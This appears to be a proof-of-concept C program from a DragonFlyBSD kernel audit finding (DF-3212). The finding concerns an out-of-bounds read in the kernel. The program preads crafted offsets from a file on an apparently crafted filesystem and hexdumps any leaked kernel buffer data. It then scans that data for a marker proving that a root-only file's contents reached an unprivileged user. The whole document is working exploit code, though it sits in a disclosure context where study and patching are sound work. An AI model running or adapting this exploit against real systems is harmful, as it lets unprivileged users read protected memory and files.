⬢ DragonFlyBSD Kernel Audit
DF-3212 / trigger2.c
← back to finding ↓ download raw
/*
 * trigger2.c - DF-3212 unprivileged OOB-read slot/page scanner.
 * For slot k (1..7) and in-slot page offsets, pread(512) at file offset
 * k*0x10000 + sub (< i_size, valid) -> uiomove source = b_data + k*65536 + sub.
 * Any non-zero return at these VALID offsets is impossible on a clean fs;
 * EFAULT means the source pointer faulted (unmapped buffer-cache KVA).
 * Success: "DF3212-ROOT-SECRET-" (root-only 0600 file content) in buf[].
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

#define MARKER "DF3212-ROOT-SECRET-"

static void hexdump(const unsigned char *p, int n, const char *tag){
	printf("  -- %s (%d bytes) --\n", tag, n);
	for (int i = 0; i < n; i += 16) {
		printf("    %04x  ", i);
		for (int j = 0; j < 16 && i + j < n; j++)
			printf("%02x ", p[i+j]);
		printf(" |");
		for (int j = 0; j < 16 && i + j < n; j++)
			printf("%c", (p[i+j] >= 32 && p[i+j] < 127) ? p[i+j] : '.');
		printf("|\n");
	}
}

int main(int argc, char **argv){
	const char *path = (argc > 1) ? argv[1] : "/mnt/test/leak.bin";
	int fd = open(path, O_RDONLY);
	if (fd < 0) { perror("open"); return 2; }

	static const int subs[] = { 0x123, 0x1123, 0x2123, 0x4123, 0x6123 };
	unsigned char buf[512];
	int leaked = 0, nonzero = 0, efault = 0, clean = 0;
	for (int k = 1; k <= 7 && !leaked; k++) {
		for (size_t s = 0; s < sizeof(subs)/sizeof(subs[0]); s++) {
			off_t off = (off_t)k * 0x10000 + subs[s];
			memset(buf, 0, sizeof buf);
			errno = 0;
			ssize_t n = pread(fd, buf, sizeof buf, off);
			if (n < 0) { efault += (errno == EFAULT); continue; }
			int isz = 1;
			for (ssize_t i = 0; i < n; i++) if (buf[i]) { isz = 0; break; }
			if (isz) { clean++; continue; }
			nonzero++;
			printf("k=%d off=0x%06llx NON-ZERO KERNEL DATA:\n", k,
			       (unsigned long long)off);
			hexdump(buf, (int)n, "leaked");
			for (ssize_t i = 0; i + 19 <= n; i++)
				if (memcmp(buf + i, MARKER, 19) == 0) {
					printf("    *** ROOT-ONLY MARKER FILE "
					       "CONTENT LEAKED (k=%d +%zd) ***\n",
					       k, i);
					leaked = 1;
					break;
				}
		}
	}
	printf("SCAN nonzero=%d clean=%d efault=%d LEAK=%d\n",
	       nonzero, clean, efault, leaked);
	return leaked ? 0 : (nonzero || efault ? 1 : 3);
}